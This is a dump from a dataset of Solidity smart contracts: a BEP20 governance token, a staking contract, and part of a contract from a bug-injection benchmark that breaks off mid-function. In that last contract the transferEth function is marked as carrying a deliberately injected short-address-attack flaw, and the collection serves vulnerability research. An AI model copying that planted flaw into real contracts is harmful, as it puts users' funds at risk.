}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint256 amount) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_mint(_msgSender(), amount);
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom (address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer (address sender, address recipient, uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve (address owner, address spender, uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// GoatFarm with Governance.
contract GoatFarm is BEP20('GoatFarm', 'GOAT', 300000000000000000000000) {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GOAT::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "GOAT::delegateBySig: invalid nonce");
require(now <= expiry, "GOAT::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "GOAT::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying GOATs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "GOAT::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 256,128 | 13,158 |
26b7a47bc5fa9b368683705d9aa33a47e8370b72339adb2173bf2397f1673a75
| 27,374 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/81/81f784a0b8B936540d00D45F914670809F3db0b1_IndexStaking.sol
| 4,198 | 16,921 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface ISindex {
function rebase(uint256 INDEXProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract IndexStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Index;
address public immutable sIndex;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Index,
address _sIndex,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Index != address(0));
Index = _Index;
require(_sIndex != address(0));
sIndex = _sIndex;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 10
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Index).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(ISindex(sIndex).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sIndex).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, ISindex(sIndex).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), ISindex(sIndex).balanceForGons(info.gons));
IERC20(Index).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sIndex).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Index).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return ISindex(sIndex).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
ISindex(sIndex).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = ISindex(sIndex).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Index).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sIndex).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sIndex).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 99,812 | 13,159 |
15a05b2c598a6f09a83a6a7afb0cefffeb8a48057d0fe7c4b7eaef561e3de19a
| 30,205 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/shortAddressAttack/manualCheck/0x3da83a5c8ac6d5c07e06e89f68d038658de1ce71_shortAddressAttack.sol
| 5,278 | 17,327 |
pragma solidity >=0.5.4 <0.6.0;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface INameTAOPosition {
function senderIsAdvocate(address _sender, address _id) external view returns (bool);
function senderIsListener(address _sender, address _id) external view returns (bool);
function senderIsSpeaker(address _sender, address _id) external view returns (bool);
function senderIsPosition(address _sender, address _id) external view returns (bool);
function getAdvocate(address _id) external view returns (address);
function nameIsAdvocate(address _nameId, address _id) external view returns (bool);
function nameIsPosition(address _nameId, address _id) external view returns (bool);
function initialize(address _id, address _advocateId, address _listenerId, address _speakerId) external returns (bool);
function determinePosition(address _sender, address _id) external view returns (uint256);
}
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor (uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != address(0));
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract TAO {
using SafeMath for uint256;
address public vaultAddress;
string public name; // the name for this TAO
address public originId; // the ID of the Name that created this TAO. If Name, it's the eth address
// TAO's data
string public datHash;
string public database;
string public keyValue;
bytes32 public contentId;
uint8 public typeId;
constructor (string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _vaultAddress) public {
name = _name;
originId = _originId;
datHash = _datHash;
database = _database;
keyValue = _keyValue;
contentId = _contentId;
// Creating TAO
typeId = 0;
vaultAddress = _vaultAddress;
}
modifier onlyVault {
require (msg.sender == vaultAddress);
_;
}
function () external payable {
}
function transferEth(address payable _recipient, uint256 _amount) public onlyVault returns (bool) {
_recipient.transfer(_amount); //injected SHORT ADDRESS ATTACK
return true;
}
function transferERC20(address _erc20TokenAddress, address _recipient, uint256 _amount) public onlyVault returns (bool) {
TokenERC20 _erc20 = TokenERC20(_erc20TokenAddress);
_erc20.transfer(_recipient, _amount);
return true;
}
}
contract Name is TAO {
constructor (string memory _name, address _originId, string memory _datHash, string memory _database, string memory _keyValue, bytes32 _contentId, address _vaultAddress)
TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public {
// Creating Name
typeId = 1;
}
}
library AOLibrary {
using SafeMath for uint256;
uint256 constant private _MULTIPLIER_DIVISOR = 10 ** 6; // 1000000 = 1
uint256 constant private _PERCENTAGE_DIVISOR = 10 ** 6; // 100% = 1000000
function isTAO(address _taoId) public view returns (bool) {
return (_taoId != address(0) && bytes(TAO(address(uint160(_taoId))).name()).length > 0 && TAO(address(uint160(_taoId))).originId() != address(0) && TAO(address(uint160(_taoId))).typeId() == 0);
}
function isName(address _nameId) public view returns (bool) {
return (_nameId != address(0) && bytes(TAO(address(uint160(_nameId))).name()).length > 0 && Name(address(uint160(_nameId))).originId() != address(0) && Name(address(uint160(_nameId))).typeId() == 1);
}
function isValidERC20TokenAddress(address _tokenAddress) public view returns (bool) {
if (_tokenAddress == address(0)) {
return false;
}
TokenERC20 _erc20 = TokenERC20(_tokenAddress);
return (_erc20.totalSupply() >= 0 && bytes(_erc20.name()).length > 0 && bytes(_erc20.symbol()).length > 0);
}
function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) {
return (_sender == _theAO ||
((isTAO(_theAO) || isName(_theAO)) &&
_nameTAOPositionAddress != address(0) &&
INameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO)));
}
function PERCENTAGE_DIVISOR() public pure returns (uint256) {
return _PERCENTAGE_DIVISOR;
}
function MULTIPLIER_DIVISOR() public pure returns (uint256) {
return _MULTIPLIER_DIVISOR;
}
function deployTAO(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress) public returns (TAO _tao) {
_tao = new TAO(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function deployName(string memory _name,
address _originId,
string memory _datHash,
string memory _database,
string memory _keyValue,
bytes32 _contentId,
address _nameTAOVaultAddress) public returns (Name _myName) {
_myName = new Name(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);
}
function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) {
if (_currentWeightedMultiplier > 0) {
uint256 _totalWeightedIons = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount));
uint256 _totalIons = _currentPrimordialBalance.add(_additionalPrimordialAmount);
